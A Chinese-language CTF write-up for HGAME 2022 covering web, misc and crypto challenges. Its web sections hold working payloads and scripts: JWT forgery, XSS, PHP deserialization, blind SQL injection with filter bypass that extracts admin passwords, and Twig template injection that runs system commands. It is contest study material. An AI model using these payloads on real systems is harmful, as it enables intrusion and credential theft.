HGAME 2022 Writeup

2023-05-16

文章目录

  • Level - Week1
    • WEB
      • easy_auth
      • 蛛蛛…嘿嘿?我的蛛蛛
      • Tetris plus
      • Fujiwara Tofu Shop
    • MISC
      • 欢迎欢迎!热烈欢迎!
      • 这个压缩包有点麻烦
      • 好康的流量
      • 群青(其实是幽灵东京)
    • CRYPTO
      • Dancing Line
      • Matryoshka
      • English Novel
  • Level - Week2
    • WEB
      • Apache!
      • webpack-engine
      • At0m的留言板
      • 一本单词书
      • Pokemon
    • MISC
      • 一张怪怪的名片
      • 你上当了 我的很大
  • Level - Week3
    • MISC
      • 卡中毒
      • 谁不喜欢猫猫呢
    • WEB
      • SecurityCenter
      • Vidar shop demo
      • LoginMe
  • Level - Week4
    • MISC
      • 摆烂
      • At0m的给你们的(迟到的)情人节礼物

新人赛,就没有存题目附件了,简单的记录一下解题过程吧

Level - Week1

WEB

easy_auth

在这里插入图片描述
在这里插入图片描述
存在admin用户,随便设置一个任务,然后点击doing,抓一个GET的包
在这里插入图片描述
Token的格式很明显是jwt:https://jwt.io/
在这里插入图片描述
修改ID1Usernameadmin
发送修改后的jwt密文得到flag
在这里插入图片描述

蛛蛛…嘿嘿我的蛛蛛

在这里插入图片描述

import requests
import re

init_url = "https://hgame-spider.vidar.club/8983cb3acd"
link = ""

while True:
	res_url = init_url + link
	regex = re.compile('href="(.*?)"')
	html = requests.get(url=res_url)
	l = re.findall(regex, html.text)
	print(res_url)
	link = [i for i in l if i != '']
	if len(link) == 0:
		break
	else:
		link = link[0]

访问最后一个输出的地址,flag在响应头里面
在这里插入图片描述

Tetris plus

在这里插入图片描述
cheking.js中发现注释了jsfuck
在这里插入图片描述
直接复制到控制台回车即可得到flag
在这里插入图片描述

Fujiwara Tofu Shop

在这里插入图片描述

GET / HTTP/1.1
Host: shop.summ3r.top
User-Agent: Hachi-Roku
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
referer:qiumingshan.net
Cookie: flavor=Raspberry;
gasoline:100
x-real-ip:127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

在这里插入图片描述

MISC

欢迎欢迎!热烈欢迎!

在这里插入图片描述
在这里插入图片描述

hgame{We1com3_t0_HG@ME_2O22}

这个压缩包有点麻烦

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
README.txt

I don't know if it's a good idea to write down all the passwords.

password-note.txt作为字典进行爆破
在这里插入图片描述
明文攻击
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
分离出来的压缩包跟一般伪加密不同的是修改了压缩源文件数据区的全局方式标记位,使得7z等压缩包无法无视伪加密直接解压
在这里插入图片描述
修改压缩源文件目录区全局方式标记位为偶数即可
在这里插入图片描述

hgame{W0w!_y0U_Kn0w_z1p_3ncrYpt!}

好康的流量

在这里插入图片描述
在这里插入图片描述

  • https://the-x.cn/zh-cn/base64/

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

hgame{ez_1mg_

另一半flag用zsteg查看一下LSB
在这里插入图片描述

hgame{ez_1mg_Steg4n0graphy}

群青(其实是幽灵东京)

在这里插入图片描述
通过频谱图得到密码:Yoasobi
在这里插入图片描述
音频LSB隐写,SlientEye解码得到一个地址
在这里插入图片描述

  • https://potat0-1308188104.cos.ap-shanghai.myqcloud.com/Week1/S_S_T_V.wav

听起来是SSTV,Robot36直接听

在这里插入图片描述

hgame{1_c4n_5ee_the_wav}

CRYPTO

Dancing Line

在这里插入图片描述
在这里插入图片描述
X轴方向移动一个像素点记为0,向Y轴方向移动一个像素点记为1

from PIL import Image

img = Image.open('flag.bmp')
width, height = img.size
bin_data = ''
num_list = []
n = 0
for w in range(width):
	for h in range(height):
		pix = img.getpixel((w,h))
		if pix != (255, 255, 255):
			#print("{} {}".format(pix, n))
			num_list.append(n)
		n += 1
for i in range(len(num_list)-1):
	if (num_list[i+1] - num_list[i]) >= height:
		bin_data += '0'
	else:
		bin_data += '1'
print("[+]binary data: {}".format(bin_data))
flag = ''
for i in range(0, len(bin_data), 8):
	flag += chr(int(bin_data[i:i+8], 2))
print(flag)


PS C:UsersAdministratorDownloads> python .code.py
[+]binary data: 01101000011001110110000101101101011001010111101101000100011000010110111001100011001100010110111001100111010111110100110000110001011011100110010101011111001100010011010101011111011001100111010101101110001011000101111100110001001101010110111000100111011101000101111100110001011101000011111101111101
hgame{Danc1ng_L1ne_15_fun,_15n't_1t?}

Matryoshka

在这里插入图片描述
在这里插入图片描述
类似盲文,但是其实是摩斯码

  • ?替换为.
  • ?替换为-
  • ?替换为/

然后逆序处理
在这里插入图片描述

  • http://www.zhongguosou.com/zonghe/moErSiCodeConverter.aspx
    摩斯转换得到Hex码
    在这里插入图片描述

    466642756645466E6D4C73364433736959744C3658327034694E306364536C796B6D3972514E396F4D53316A6B7339724B3252366B4C38686F72303D

    Hex转字符得到:
    FfBufEFnmLs6D3siYtL6X2p4iN0cdSlykm9rQN9oMS1jks9rK2R6kL8hor0=

    维吉尼亚解密(密钥为:hgame)得到:
    YzBibXZnaHl6X3swUmF6X2d4eG0wdGhrem9fMG9iMG1fdm9rY2N6dF8hcn0=

    base64解码得到:
    c0bmvghyz_{0Raz_gxxm0thkzo_0ob0m_vokcczt_!r}

    栅栏密码(每组字数:22)得到:
    cbvhz{Rzgx0hz_o0_ocz_r0mgy_0a_xmtko0bmvkct!}

    凯撒密码解密(位移21)得到:
    hgame{Welc0me_t0_the_w0rld_0f_crypt0graphy!}

English Novel

在这里插入图片描述
根据给出的密文,明文,以及加密算法,推出key,然后利用key解flag.enc

import os

def if_length(ori_content, enc_content, match_result):
	if len(ori_content) == len(enc_content):
		match_result = True
	else:
		match_result = False
	return match_result

def if_match(ori_name, enc_name):
	match_result = True
	ori_path = ori_folder + '/' + ori_name
	enc_path = enc_folder + '/' + enc_name
	with open(ori_path, 'r') as f:
		ori_content = f.read()
	with open(enc_path, 'r') as f:
		enc_content = f.read()
	match_result = True
	if match_result:
		match_result = if_length(ori_content, enc_content, match_result)
		if match_result:
			for i in range(len(ori_content)):
				if ori_content[i] == enc_content[i]:
					continue
				elif ori_content[i].isupper() and enc_content[i].isupper():
					continue
				elif ori_content[i].islower() and enc_content[i].islower():
					continue
				else:
					match_result = False
	return match_result

def match_process(ori_folder, enc_folder):
	all_match = []
	original_list = os.listdir(ori_folder)
	encrypt_list = os.listdir(enc_folder)
	for ori_name in original_list:
		for enc_name in encrypt_list:
			match_result = if_match(ori_name, enc_name)
			if match_result:
				ori_path = ori_folder + '/' + ori_name
				enc_path = enc_folder + '/' + enc_name
				match_group = [ori_path, enc_path]
				all_match.append(match_group)
				encrypt_list.remove(enc_name)
			else:
				continue
	return all_match

def decrypt(ori_data, enc_data, enc_flag):
	keys = []
	for i in range(len(enc_data)):
		key = ord(enc_data[i]) - ord(ori_data[i])
		keys.append(key)
	result = ""
	enc_data = enc_flag
	for i in range(len(enc_data)):
		if enc_data[i].isupper():
			result += chr((ord(enc_data[i]) - ord('A') - keys[i]) % 26 + ord('A'))
		elif enc_data[i].islower():
			result += chr((ord(enc_data[i]) - ord('a') - keys[i]) % 26 + ord('a'))
		else:
			result += enc_data[i]
	return result

if __name__ == '__main__':
	ori_folder = './original'
	enc_folder = './encrypt'
	enc_flag = open('./flag.enc', 'r').read()
	match_list = match_process(ori_folder, enc_folder)
	for match_group in match_list:
		with open(match_group[0], 'r') as f:
			ori_data = f.read()
		with open(match_group[1], 'r') as f:
			enc_data = f.read()
		flag = decrypt(ori_data, enc_data, enc_flag)
		print("{:<30}{:<30}{:<30}".format(match_group[0], match_group[1], flag))

在这里插入图片描述

hgame{D0_y0u_kn0w_'Kn0wn-pla1ntext_attack'?}

Level - Week2

WEB

Apache!

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
CVE-2021-40438
在这里插入图片描述
在这里插入图片描述

webpack-engine

在这里插入图片描述
在这里插入图片描述

  • webpack解析之详细过程:https://www.freebuf.com/articles/web/276810.html

这里倒是不用还原map文件,直接访问这个

data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIndlYnBhY2s6Ly8uL3NyYy92aWV3cy9GbDRnXzFzX2hlcjMudnVlIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiI7QUF5QkE7RUFDQSxZQUFBO0VBQ0Esa0JBQUE7RUFDQSxhQUFBO0VBQ0Esc0JBQUE7RUFDQSx1QkFBQTtFQUNBLG1CQUFBO0FBQ0E7QUFDQTtFQUNBLFdBQUE7RUFDQSxZQUFBO0VBQ0EsYUFBQTtFQUNBLHNCQUFBO0VBQ0EsdUJBQUE7RUFDQSxtQkFBQTtBQUNBO0FBQ0E7RUFDQSxXQUFBO0VBQ0EsWUFBQTtBQUNBOztBQUVBLFFBQUE7QUFDQTtFQUNBLHNCQUFBO0VBQ0EsdUJBQUE7RUFDQSxxQkFBQTtFQUNBLHNCQUFBO0VBQ0EsY0FBQTtFQUNBLGVBQUE7RUFDQSxxQkFBQTtFQUNBLDhMQUFBO0VBQ0EsaUJBQUE7RUFDQSxnQkFBQTtFQUNBLGNBQUE7RUFDQSxvQkFBQTtFQUNBLGtCQUFBO0VBQ0EsbUNBQUE7RUFDQSwrQkFBQTtFQUNBLDhDQUFBO0VBQ0EsaURBQUE7RUFDQSxpQkFBQTtFQUNBLHlCQUFBO0VBQ0EsMEJBQUE7QUFDQTtBQUVBO0VBQ0EseUJBQUE7RUFDQSxXQUFBO0VBQ0EsK0JBQUE7QUFDQTtBQUVBO0FBQ0E7SUFDQSxtQkFBQTtJQUNBLGtCQUFBO0FBQ0E7QUFDQTtBQUVBO0VBQ0Esa0JBQUE7RUFDQSxZQUFBO0VBQ0EsWUFBQTtFQUNBLFdBQUE7RUFDQSxZQUFBO0FBQ0EiLCJzb3VyY2VzQ29udGVudCI6WyI8dGVtcGxhdGU+XG4gIDxoMT57e2ZpbGlpaWxpbGlsNGd9fTwvaDE+XG48L3RlbXBsYXRlPlxuXG48c2NyaXB0PlxuXG5leHBvcnQgZGVmYXVsdCB7XG4gIGRhdGEoKSB7XG4gICAgcmV0dXJuIHtcbiAgICAgIGZpbGlpaWxpbGlsNGc6ICdZVWRrYUdKWFZqZFNSRUoxWkVZNWJVMUlTVFZhV0ZKbVRXdzVSR0pGT1hwTk1UbFVUVWhXZVZreVZtWmlWVUozWmxFOVBRbz0nXG4gICAgfVxuICB9XG59XG48L3NjcmlwdD5cblxuPHN0eWxlPlxuaHRtbCwgYm9keSB7XG4gIGhlaWdodDogMTAwJTtcbiAgbWFyZ2luOiAwO1xuICBwYWRkaW5nOiAwO1xuICBvdmVyZmxvdzogaGlkZGVuO1xufVxuPC9zdHlsZT5cblxuPHN0eWxlIHNjb3BlZD5cbi5ob21lIHtcbiAgaGVpZ2h0OiAxMDAlO1xuICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gIGRpc3BsYXk6IGZsZXg7XG4gIGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47XG4gIGp1c3RpZnktY29udGVudDogY2VudGVyO1xuICBhbGlnbi1pdGVtczogY2VudGVyO1xufVxuLnBsYXllciB7XG4gIHdpZHRoOiAxMDAlO1xuICBoZWlnaHQ6IDEwMCU7XG4gIGRpc3BsYXk6IGZsZXg7XG4gIGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47XG4gIGp1c3RpZnktY29udGVudDogY2VudGVyO1xuICBhbGlnbi1pdGVtczogY2VudGVyO1xufVxuaWZyYW1lIHtcbiAgd2lkdGg6IDEwMCU7XG4gIGhlaWdodDogMTAwJTtcbn1cblxuLyogQ1NTICovXG4uYnV0dG9uLTgxIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogI2ZmZjtcbiAgYm9yZGVyOiAwIHNvbGlkICNlMmU4ZjA7XG4gIGJvcmRlci1yYWRpdXM6IDEuNXJlbTtcbiAgYm94LXNpemluZzogYm9yZGVyLWJveDtcbiAgY29sb3I6ICMwZDE3MmE7XG4gIGN1cnNvcjogcG9pbnRlcjtcbiAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICBmb250LWZhbWlseTogXCJCYXNpZXIgY2lyY2xlXCIsLWFwcGxlLXN5c3RlbSxzeXN0ZW0tdWksXCJTZWdvZSBVSVwiLFJvYm90byxcIkhlbHZldGljYSBOZXVlXCIsQXJpYWwsXCJOb3RvIFNhbnNcIixzYW5zLXNlcmlmLFwiQXBwbGUgQ29sb3IgRW1vamlcIixcIlNlZ29lIFVJIEVtb2ppXCIsXCJTZWdvZSBVSSBTeW1ib2xcIixcIk5vdG8gQ29sb3IgRW1vamlcIjtcbiAgZm9udC1zaXplOiAxLjFyZW07XG4gIGZvbnQtd2VpZ2h0OiA2MDA7XG4gIGxpbmUtaGVpZ2h0OiAxO1xuICBwYWRkaW5nOiAxcmVtIDEuNnJlbTtcbiAgdGV4dC1hbGlnbjogY2VudGVyO1xuICB0ZXh0LWRlY29yYXRpb246IG5vbmUgIzBkMTcyYSBzb2xpZDtcbiAgdGV4dC1kZWNvcmF0aW9uLXRoaWNrbmVzczogYXV0bztcbiAgdHJhbnNpdGlvbjogYWxsIC4xcyBjdWJpYy1iZXppZXIoLjQsIDAsIC4yLCAxKTtcbiAgYm94LXNoYWRvdzogMHB4IDFweCAycHggcmdiYSgxNjYsIDE3NSwgMTk1LCAwLjI1KTtcbiAgdXNlci1zZWxlY3Q6IG5vbmU7XG4gIC13ZWJraXQtdXNlci1zZWxlY3Q6IG5vbmU7XG4gIHRvdWNoLWFjdGlvbjogbWFuaXB1bGF0aW9uO1xufVxuXG4uYnV0dG9uLTgxOmhvdmVyIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogIzFlMjkzYjtcbiAgY29sb3I6ICNmZmY7XG4gIHRyYW5zaXRpb246IGFsbCAuMnMgZWFzZS1pbi1vdXQ7XG59XG5cbkBtZWRpYSAobWluLXdpZHRoOiA3NjhweCkge1xuICAuYnV0dG9uLTgxIHtcbiAgICBmb250LXNpemU6IDEuMTI1cmVtO1xuICAgIHBhZGRpbmc6IDFyZW0gMnJlbTtcbiAgfVxufVxuXG5idXR0b24ge1xuICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gIHdpZHRoOiAzMDBweDtcbiAgaGVpZ2h0OiA2MHB4O1xuICBib3R0b206IDIwJTtcbiAgYm9yZGVyOiBub25lO1xufVxuPC9zdHlsZT5cbiJdLCJzb3VyY2VSb290IjoiIn0=

在这里插入图片描述

>>> from base64 import *
>>> b64decode('YUdkaGJXVjdSREJ1ZEY5bU1ISTVaWFJmTWw5RGJFOXpNMTlUTUhWeVkyVmZiVUJ3ZlE9PQo=')
b'aGdhbWV7RDBudF9mMHI5ZXRfMl9DbE9zM19TMHVyY2VfbUBwfQ==
'
>>> b64decode('aGdhbWV7RDBudF9mMHI5ZXRfMl9DbE9zM19TMHVyY2VfbUBwfQ==')
b'hgame{D0nt_f0r9et_2_ClOs3_S0urce_m@p}'

At0m的留言板

在这里插入图片描述
在这里插入图片描述
直接获取类名元素为content的
在这里插入图片描述
flag是通过var声明的,那么直接列出当前页面的所有的全局变量
在这里插入图片描述
在这里插入图片描述
这样就可以得到flag的值了,接下来就是xss触发,简单测试下发现过滤并不多,直接使用

<img src=x onerror="document.getElementsByClassName('content')[0].innerText=Object.keys(window)">

在这里插入图片描述
在这里插入图片描述

<img src=x onerror="document.getElementsByClassName('content')[0].innerText=F149_is_Here">

在这里插入图片描述

一本单词书

在这里插入图片描述
在这里插入图片描述
下载源码,登录这里绕过is_numeric()即可,bypass网上方法很多
在这里插入图片描述

username=adm1n&password=1080%00

在这里插入图片描述
继续分析源码
在这里插入图片描述

{
	"name":"mochu7"
}

在这里插入图片描述
可以看到对键值的内容进行了序列化存储,键名内容不变,中间用|分隔
继续分析源码
在这里插入图片描述
重点在这里的decode函数,对|后部分的数据进行反序列化,但是如果键名部分也有|符号,就会对键名|之后的部分反序列化
在这里插入图片描述

<?php
class Evil {
    public $file='/flag';
}
$obj = new Evil();
var_dump(serialize($obj));

//O:4:"Evil":1:{s:4:"file";s:5:"/flag";}
?>


name|O:4:"Evil":1:{s:4:"file";s:5:"/flag";}

在这里插入图片描述

Pokemon

在这里插入图片描述
error.php对传入的code参数进行了过滤在这里插入图片描述
fuzz一下sql关键字,长度为473的包都是被过滤的
在这里插入图片描述
不过这里的过滤是直接替换为空,可双写绕过
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可进行时间盲注,过滤的地方用双写绕过即可

import requests

printable_str = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~"
burp0_url = "http://121.43.141.153:60056/error.php?code="
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0",
				 "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
				 "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
				 "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}

result = ""
for i in range(50):
	for s in printable_str:
		# payload = "if(ascii(mid(database(),{},1))like({}),sleep(1),1)".format(i, ord(s))
		# payload = "if(ascii(mid((selselectect/*/**/*/group_concat(table_name)/*/**/*/frfromom/*/**/*/infoorrmation_schema.tables/*/**/*/whewherere/*/**/*/(table_schema)like('pokemon')),{},1))like({}),sleep(1),0)".format(i, ord(s))
		# payload = "if(ascii(mid((selselectect/*/**/*/group_concat(column_name)/*/**/*/frfromom/*/**/*/infoorrmation_schema.columns/*/**/*/whewherere/*/**/*/(table_name)like('fllllllllaaaaaag')),{},1))like({}),sleep(1),0)".format(i, ord(s))
		payload = "if(ascii(mid((selselectect/*/**/*/flag/*/**/*/frfromom/*/**/*/pokemon.fllllllllaaaaaag),{},1))like({}),sleep(1),1)".format(i, ord(s))
		resp = requests.get(url=burp0_url+payload, headers=burp0_headers)
		if resp.elapsed.seconds > 3:
			result += s
			print("[+]{}".format(result))
		else:
			continue

在这里插入图片描述

MISC

一张怪怪的名片

在这里插入图片描述
在这里插入图片描述
PS打开,用钢笔选中每块选区,然后拼起来,加大曝光,得到如下
在这里插入图片描述
直接扫不出来,二维码中间貌似被涂黑过,有点干扰。尝试用二维码修复站模糊识别:https://merricx.github.io/qrazybox/

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
看样子像是一个链接,用搜索引擎语法找
在这里插入图片描述
找到出题人的github,在github首页找到出题人的博客地址
在这里插入图片描述
然后在出题人博客的友联里面找到了鸿贵安
在这里插入图片描述
https://homeginan.homeboyc.cn

在这里插入图片描述
在这里插入图片描述

b09nyMj9cOZ3aB8KUcnh46nIi9fGTIL6XjnnW1/sj/nUR1BFYkf0JwB0qjcQhcCy7dxtsHqznOMkt6XEGKD8y5K5whenAcwuiT/Rue+snORVWAorXsB3ZGcITuFLEIThbx4/vh5E/Wk4R8qhNcFh5bwSSmwdULVuwBrJ5H3+kBOsYafEqP8RDX3sOdXTj80V8Puq+TNbXAMhxvdLGkkcBQ==

在这里插入图片描述

b09nyMj9cOZ3aB8KUcnh46nIi9fGTIL6XjnnW1/sj/nUR1BFYkf0JwB0qjcQhcCylCR8cGp6MhxD4pTEACGutFVYCitewHdkZwhO4UsQhOFvHj++HkT9aThHyqE1wWHlvBJKbB1QtW7AGsnkff6QE+wqMT6fADfdpBQNOzg4DYA=

Derive PBKDF2 keypassphrase要猜,根据博客上给出的信息
在这里插入图片描述
在这里插入图片描述
那么生日应该是:20020816
试了一下发现还不对,最后经过多次尝试得到密码为:hgame20020816
在这里插入图片描述
在这里插入图片描述

hgame{Wh0_4m_1?I_like_S0ciaI_En9in33ring}

你上当了 我的很大

在这里插入图片描述

第一步套娃解压,Python脚本简单处理下即可

import zipfile
import os

def decompress(files_list:list) -> list:
	dec_files_list = []
	for file_name in files_list:
		if '.zip' in file_name:
			zf = zipfile.ZipFile(file_name)
			zf.extractall(os.getcwd())
			dec_files_list += zf.namelist()
		else:
			continue
	return dec_files_list

if __name__ == '__main__':
	files_list = os.listdir()
	while True:
		dec_files_list = decompress(files_list)
		if len(dec_files_list) == 0:
			break
		else:
			files_list = dec_files_list

在这里插入图片描述
得到三个经典视频,在agfl.mp4lagf.mp4的视频末尾有条码
在这里插入图片描述
在这里插入图片描述
结合提示给的两个条码
在这里插入图片描述
在这里插入图片描述
给了图床链接的两个条码用下面这个识别:

  • https://zxing.org/w/decode.jspx

另外两个用另一个条码识别工具站:

  • https://products.aspose.app/barcode/recognize

一共得到四张base64编码过的图片字节流

  • https://the-x.cn/zh-cn/base64/(base64解码,可识别解码后的文件类型)

将得到的四张图片用PS简单拼接一下即可
在这里插入图片描述

hgame{Do_y0U_lIk3_MazE5?}

Level - Week3

MISC

卡中毒

在这里插入图片描述
查看浏览器历史记录找到个7z压缩包
在这里插入图片描述
导出、解压发现是WannaRen勒索病毒加密的文件
在这里插入图片描述
一键解密 火绒推出WannaRen勒索病毒解密工具:https://www.huorong.cn/info/1586440740454.html
在这里插入图片描述
得到新佛曰论禅编码

新佛曰:諸隸僧降閦吽諸陀摩閦隸僧缽薩閦願耨願嘚願諦閦諸囉閦嘇劫嘇閦亦伏迦薩摩愍心薩摩降眾閦聞諸阿我閦嚩諸寂嘚咒咒莊閦我薩闍嚩劫閦嘇薩迦聞色須嘇聞我吽伏閦是般如閦

新佛曰论禅解码:http://hi.pcmoe.net/buddha.html

hgame{F1srt_STep_0f_MeM0rY_F0renS1cs}

谁不喜欢猫猫呢

在这里插入图片描述
每隔10个像素点就有一个像素位置比较突出
在这里插入图片描述
有点像缩略图,通过stegsolve也可发现确实是有一些信息,很有规律的排布,用Python简单提取下即可

from PIL import Image

img = Image.open('1.png')
width, height = img.size
pixs_list = []
for w in range(5, width, 11):
	for h in range(5, height, 11):
		pix = img.getpixel((w, h))
		pixs_list.append(pix)
#分解下pixs_list的长度,就可以得到生成图片的宽高
new_width, new_height = 215, 215
new_img = Image.new('RGB', (new_width, new_height))
idx = 0
for n_w in range(new_width):
	for n_h in range(new_height):
		new_img.putpixel((n_w, n_h), pixs_list[idx])
		idx += 1
new_img.save('ok.png')
new_img.show()

在这里插入图片描述
得到信息

st = 1
a = 9
b = 39

暂时不知道什么意思,图片上有一些带颜色小点很突出,拖进PS分析发现间隔也是很规律,每个点间隔4个像素点

from PIL import Image

img = Image.open('ok.png')
width, height = img.size
pixs_list = []
for w in range(2, width, 5):
	for h in range(2, height, 5):
		pix = img.getpixel((w, h))
		pixs_list.append(pix)
#分解pixs_list的长度,
new_width, new_height = 43, 43
new_img = Image.new('RGB', (new_width, new_height))
idx = 0
for n_w in range(new_width):
	for n_h in range(new_height):
		new_img.putpixel((n_w, n_h), pixs_list[idx])
		idx += 1
new_img.save('ok1.png')
new_img.show()

在这里插入图片描述
看到这里了看过Arnold变换(猫映射)置乱效果图的师傅应该会觉得比较像,前面的到a=9、b=39Arnold变换矩阵参数,st=1是周期

from PIL import Image

img = Image.open('ok1.png')
if img.mode == "P":
    img = img.convert("RGB")
assert img.size[0] == img.size[1]
dim = width, height = img.size

st = 1
a = 9
b = 39
for _ in range(st):
    with Image.new(img.mode, dim) as canvas:
        for nx in range(img.size[0]):
            for ny in range(img.size[0]):
                y = (ny - nx * a) % width
                x = (nx - y * b) % height
                canvas.putpixel((y, x), img.getpixel((ny, nx)))
canvas.show()
canvas.save('ok2.png')

在这里插入图片描述
很像nipet,尝试npiet执行一下
在这里插入图片描述
原图是附加了一个zip的字节流的,分离出来得到两个list,根据提示把每一项的加起来

from binascii import *

list1 = [776686, 749573, 6395443, 2522866, 279584, 587965, 4012670, 1645156, 2184634]
list2 = [6065523, 6419830, 1421837, 5103682, 5963053, 2842996, 1113825, 1594064, 4578755]

flag = ''
for i in range(len(list1)):
	flag += unhexlify(hex(list1[i]+list2[i])[2:]).decode()
print(flag)


hgame{wH@t_4_AM4Z1N9_1m4g3}

PS:这样的最后处理得到flag,感觉会有挺多的非预期

WEB

SecurityCenter

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
一开始以为是SSRF,打了半天在hint提供的信息最下面发现了这个
在这里插入图片描述
测试一下
在这里插入图片描述
Twing v3.3.7的模板,找下漏洞

  • https://whoamianony.top/2021/08/22/Web安全/Twig 模板注入从零到一/

SSTI payload

{{["id"]|map("system")}}
{{["id"]|map("passthru")}}
{{["id"]|map("exec")}}    // 无回显

在这里插入图片描述

尝试读取的时候发现过滤了cat,简单绕过一下即可
在这里插入图片描述
返回内容不能有hgame
base64编码一下返回

/redirect.php?url={{["head /flag | base64"]|map("system")}}

在这里插入图片描述
然后这里记录一下我一开始使用的读取方法
在这里插入图片描述

redirect.php?url={{["/usr/local/bin/php /flag | base64"]|map("system")}}

在这里插入图片描述

PS C:UsersAdministrator> php -r "var_dump(base64_decode('aGdhbWV7IVR3MTktUzV0MX4xc15zMDBPME9faW50ZXIzc3QxbjV+IX0K'));"
Command line code:1:
string(42) "hgame{!Tw19-S5t1~1s^s00O0O_inter3st1n5~!}"

Vidar shop demo

在这里插入图片描述
在这里插入图片描述
这三个js文件都有map文件,可以用reverse-sourcemap还原源码
参考:https://www.freebuf.com/articles/web/276810.html
得到源码可自行分析
在这里插入图片描述
不过这里的漏洞,黑盒就测试出来了
注册的时候注意下有一些限制,最好用burp改包注册,注意用户名长度和密码长度即可成功注册
在这里插入图片描述
注册成功后登录能看到用户的一些信息
在这里插入图片描述
首先任意下单一个买得起的,支付,看看这个过程
在这里插入图片描述
支付后,账户拥有的余额减少了20
在这里插入图片描述
在这里插入图片描述
然后发现这个已支付的订单可以删除
在这里插入图片描述
删除完之后发现,之前减去的余额返回到了账户
在这里插入图片描述
有增加对应取消订单的价格,抓包分析下传参
在这里插入图片描述
在这里插入图片描述
只传了一个订单的id,尝试修改为下单好的更大金额的订单的id,比如flag的订单id
在这里插入图片描述
增加了flag订单的金额到账户余额上,余额够了,直接买flag,支付后回到订单页面得到flag
在这里插入图片描述

LoginMe

在这里插入图片描述
本次HGAME唯一一道拿到血的题目呜呜呜,虽然是三血,纪念一下
在这里插入图片描述
在这里插入图片描述
源码里面给了个hint的图片
在这里插入图片描述
在这里插入图片描述
username只有admin和test两个用户,并且可以闭合这里形成注入

{"username":"admin' and '1","password":"mochu7"}

在这里插入图片描述
在这里插入图片描述
这里需要注意的是,注入语法正常的时候返回:{"msg":"success!"},注入语法错误,或者用户名错误的都返回:{"msg":"invalid username or password"}

比较难测试区分的就是分辨是注入语句不对,还是这个关键字被过滤了,因为都是返回{"msg":"invalid username or password"},得一点点摸索

经过多次测试发现这里if应该是行不通的

那么可以参考我以前的文章:记一次MySQL注入绕过

利用case when [express] then [x] else [y] end代替if做条件判断

{"username":"admin'and case when 1=1 then 1 else 0 end and '1","password":"mochu7"}

在这里插入图片描述
在这里插入图片描述
直接查admin的password

import requests

asc_str = '0123456789abcdef'
burp0_url = "http://81906c3039.login.summ3r.top:60067/login"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0",
				 "Accept": "application/json, text/plain, */*", 
				 "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", 
				 "Accept-Encoding": "gzip, deflate", 
				 "Content-Type": "application/json"}
password = ""
for i in range(1, 35):
	for s in asc_str:
		payload = "admin'and case when substr(password,{},1)='{}' then 1 else 0 end and '1".format(i, s)
		burp0_json={"password": "mochu7", "username": payload}
		resp = requests.post(burp0_url, headers=burp0_headers, json=burp0_json)
		if 'success' in resp.text:
			password += s
			print(password)

在这里插入图片描述
登录admin账号,然后得到flag
在这里插入图片描述

文章目录

  • Level - Week1
    • WEB
      • easy_auth
      • 蛛蛛…嘿嘿?我的蛛蛛
      • Tetris plus
      • Fujiwara Tofu Shop
    • MISC
      • 欢迎欢迎!热烈欢迎!
      • 这个压缩包有点麻烦
      • 好康的流量
      • 群青(其实是幽灵东京)
    • CRYPTO
      • Dancing Line
      • Matryoshka
      • English Novel
  • Level - Week2
    • WEB
      • Apache!
      • webpack-engine
      • At0m的留言板
      • 一本单词书
      • Pokemon
    • MISC
      • 一张怪怪的名片
      • 你上当了 我的很大
  • Level - Week3
    • MISC
      • 卡中毒
      • 谁不喜欢猫猫呢
    • WEB
      • SecurityCenter
      • Vidar shop demo
      • LoginMe
  • Level - Week4
    • MISC
      • 摆烂
      • At0m的给你们的(迟到的)情人节礼物

Level - Week4

MISC

摆烂

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
从结构上来看应该是apng,用apng disassembler分离
在这里插入图片描述
在这里插入图片描述
看起来一样的图片,大小不一样,猜测盲水印
在这里插入图片描述
得到压缩包密码:4C*9wfg976
在这里插入图片描述
拼图,用PS
在这里插入图片描述
在这里插入图片描述
将得到的二维码用二维码在线站扫:https://products.aspose.app/barcode/recognize#
在这里插入图片描述
在这里插入图片描述
零宽度字符隐写:https://330k.github.io/misc_tools/unicode_steganography.html

在这里插入图片描述

hgame{1_W4nT_T0_p1Ay_r0Tten}

At0m的给你们的(迟到的)情人节礼物

在这里插入图片描述
题目附件是RAR压缩的,使用winrar解压
在这里插入图片描述
ntfsstreamseditor扫一下,发现NTFS流隐藏的文件
在这里插入图片描述

秋名山车神Atom开车啦
